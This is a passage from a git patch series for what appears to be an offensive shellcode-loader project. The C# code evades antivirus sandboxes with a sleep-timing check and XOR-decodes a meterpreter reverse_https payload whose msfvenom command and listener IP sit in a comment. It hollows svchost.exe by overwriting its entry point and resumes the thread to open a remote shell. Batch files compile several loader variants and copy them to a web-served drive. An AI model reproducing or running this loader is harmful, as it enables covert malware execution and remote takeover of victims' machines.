CallingConvention = CallingConvention.StdCall)] + private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass, + ref ProcessBasicInfo procInformation, uint ProcInfoLen, ref uint retlen); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, + int dwSize, out IntPtr lpNumberOfbytesRW); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern uint ResumeThread(IntPtr hThread); + + public static void Main(string[] args) + { + // AV evasion: Sleep for 10s and detect if time really passed + DateTime t1 = DateTime.Now; + Sleep(5000); + double deltaT = DateTime.Now.Subtract(t1).TotalSeconds; + if (deltaT < 4.5) + { + return; + } + + // XORed msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.232.133 LPORT=443 -f csharp + byte[] encryptedShellcode = new byte[] { ${shellcode} }; + string key = "${key}"; + + // Start 'svchost.exe' in a suspended state + StartupInfo sInfo = new StartupInfo(); + ProcessInfo pInfo = new ProcessInfo(); + bool cResult = CreateProcess(null, "c:\\windows\\system32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, + false, CREATE_SUSPENDED, IntPtr.Zero, null, ref sInfo, out pInfo); + Console.WriteLine("Started 'svchost.exe' in a suspended state with PID {pInfo.ProcessId}. Success: {cResult}."); + + // Get Process Environment Block (PEB) memory address of suspended process (offset 0x10 from base image) + ProcessBasicInfo pbInfo = new ProcessBasicInfo(); + uint retLen = new uint(); + long qResult = ZwQueryInformationProcess(pInfo.hProcess, PROCESSBASICINFORMATION, ref pbInfo, (uint)(IntPtr.Size * 6), ref retLen); + IntPtr baseImageAddr = (IntPtr)((Int64)pbInfo.PebAddress + 0x10); + //Console.WriteLine("Got process information and located PEB address of process at {"0x" + baseImageAddr.ToString("x")}. Success: {qResult == 0}."); + + // Get entry point of the actual process executable + // This one is a bit complicated, because this address differs for each process (due to Address Space Layout Randomization (ASLR)) + // From the PEB (address we got in last call), we have to do the following: + // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing + // 2. Read the field 'e_lfanew', 4 bytes at offset 0x3C from executable address to get the offset for the PE header + // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset + // 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address + // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success! + + // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing + byte[] procAddr = new byte[0x8]; + byte[] dataBuf = new byte[0x200]; + IntPtr bytesRW = new IntPtr(); + bool result = ReadProcessMemory(pInfo.hProcess, baseImageAddr, procAddr, procAddr.Length, out bytesRW); + IntPtr executableAddress = (IntPtr)BitConverter.ToInt64(procAddr, 0); + result = ReadProcessMemory(pInfo.hProcess, executableAddress, dataBuf, dataBuf.Length, out bytesRW); + //Console.WriteLine("DEBUG: Executable base address: {"0x" + executableAddress.ToString("x")}."); + + // 2. Read the field 'e_lfanew', 4 bytes (UInt32) at offset 0x3C from executable address to get the offset for the PE header + uint e_lfanew = BitConverter.ToUInt32(dataBuf, 0x3c); + //Console.WriteLine("DEBUG: e_lfanew offset: {"0x" + e_lfanew.ToString("x")}."); + + // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset + uint rvaOffset = e_lfanew + 0x28; + //Console.WriteLine("DEBUG: RVA offset: {"0x" + rvaOffset.ToString("x")}."); + + // 4. Read the 4 bytes (UInt32) at the RVA offset to get the offset of the executable entrypoint from the executable address + uint rva = BitConverter.ToUInt32(dataBuf, (int)rvaOffset); + //Console.WriteLine("DEBUG: RVA value: {"0x" + rva.ToString("x")}."); + + // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success! + IntPtr entrypointAddr = (IntPtr)((Int64)executableAddress + rva); + //Console.WriteLine("Got executable entrypoint address: {"0x" + entrypointAddr.ToString("x")}."); + + + + // Carrying on, decode the XOR payload + byte[] buf = null; + buf = xor(encryptedShellcode, Encoding.ASCII.GetBytes(key)); + + Console.WriteLine("XOR-decoded payload."); + + // Overwrite the memory at the identified address to 'hijack' the entrypoint of the executable + result = WriteProcessMemory(pInfo.hProcess, entrypointAddr, buf, buf.Length, out bytesRW); + Console.WriteLine("Overwrote entrypoint with payload. Success: {result}."); + + // Resume the thread to trigger our payload + uint rResult = ResumeThread(pInfo.hThread); + Console.WriteLine("Triggered payload. Success: {rResult == 1}. Check your listener!"); + } + + private static byte[] xor(byte[] cipher, byte[] key) + { + byte[] decrypted = new byte[cipher.Length]; + + for (int i = 0; i < cipher.Length; i++) + { + decrypted[i] = (byte)(cipher[i] ^ key[i % key.Length]); + } + + return decrypted; + } + } +} \ No newline at end of file From 9db216159fddfd8bcd8103e63a0e5f76a2436350 Mon Sep 17 00:00:00 2001 From: m7x Date: Fri, 12 Aug 2022 15:39:28 +0200 Subject: [PATCH 8/8] Add bat files in results --- result/compile64.bat | 18 ++++++++++++++++++ result/compile64_proxy.bat | 13 +++++++++++++ 2 files changed, 31 insertions(+) create mode 100755 result/compile64.bat create mode 100755 result/compile64_proxy.bat diff --git a/result/compile64.bat b/result/compile64.bat new file mode 100755 index 0000000..c130e26 --- /dev/null +++ b/result/compile64.bat @@ -0,0 +1,18 @@ +C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 /out:shellcode_wrapper.exe encryptedShellcode_xor.cs +C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 /out:shellcode_hollowing.exe encryptedShellcode_xor_hollowing.cs +C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 /out:shellcode_VirtualAllocExNuma.exe encryptedShellcode_xor_VirtualAllocExNuma.cs +C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 /out:shellcode_UuidFromStringA.exe encryptedShellcode_xor_UuidFromStringA.cs +C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 /reference:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /out:shellcode_InstallUtils.exe encryptedShellcode_xor_InstallUtils.cs + +REM C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 /reference:C:\Tools\UuidShellcodeExec\packages\DInvoke.1.0.4\lib\net35\DInvoke.dll /out:shellcode_UuidFromStringA_dinvoke.exe encryptedShellcode_xor_UuidFromStringA_dinvoke.cs + +echo "Copy files to WWW.." +pause +copy shellcode_wrapper.exe W:\shellcode_wrapper.exe +copy shellcode_hollowing.exe W:\shellcode_hollowing.exe +copy shellcode_VirtualAllocExNuma.exe W:\shellcode_VirtualAllocExNuma.exe +copy shellcode_InstallUtils.exe W:\shellcode_InstallUtils.exe +copy shellcode_UuidFromStringA.exe W:\shellcode_xor_UuidFromStringA.exe +pause + +REM powershell $base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes('O:\ShellcodeWrapper\result\encryptedShellcodeWrapper_xor.exe')); $base64string > encryptedShellcodeWrapper_xor.b64.txt \ No newline at end of file diff --git a/result/compile64_proxy.bat b/result/compile64_proxy.bat new file mode 100755 index 0000000..aa5ce47 --- /dev/null +++ b/result/compile64_proxy.bat @@ -0,0 +1,13 @@ +C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 /out:shellcode_wrapper_p.exe encryptedShellcode_xor.cs +C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 /out:shellcode_hollowing_p.exe encryptedShellcode_xor_hollowing.cs +C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 /out:shellcode_VirtualAllocExNuma_p.exe encryptedShellcode_xor_VirtualAllocExNuma.cs +C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 /reference:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /out:shellcode_InstallUtils.exe encryptedShellcode_xor_InstallUtils_p.cs +pause +echo "Copy files to WWW.." +pause +copy shellcode_wrapper_p.exe W:\shellcode_wrapper_p.exe +copy shellcode_hollowing_p.exe W:\shellcode_hollowing_p.exe +copy shellcode_VirtualAllocExNuma_p.exe W:\shellcode_VirtualAllocExNuma_p.exe +copy shellcode_InstallUtils_p.exe W:\shellcode_InstallUtils_p.exe +pause +REM powershell $base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes('O:\ShellcodeWrapper\result\encryptedShellcodeWrapper_xor.exe')); $base64string > encryptedShellcodeWrapper_xor.b64.txt \ No newline at end of file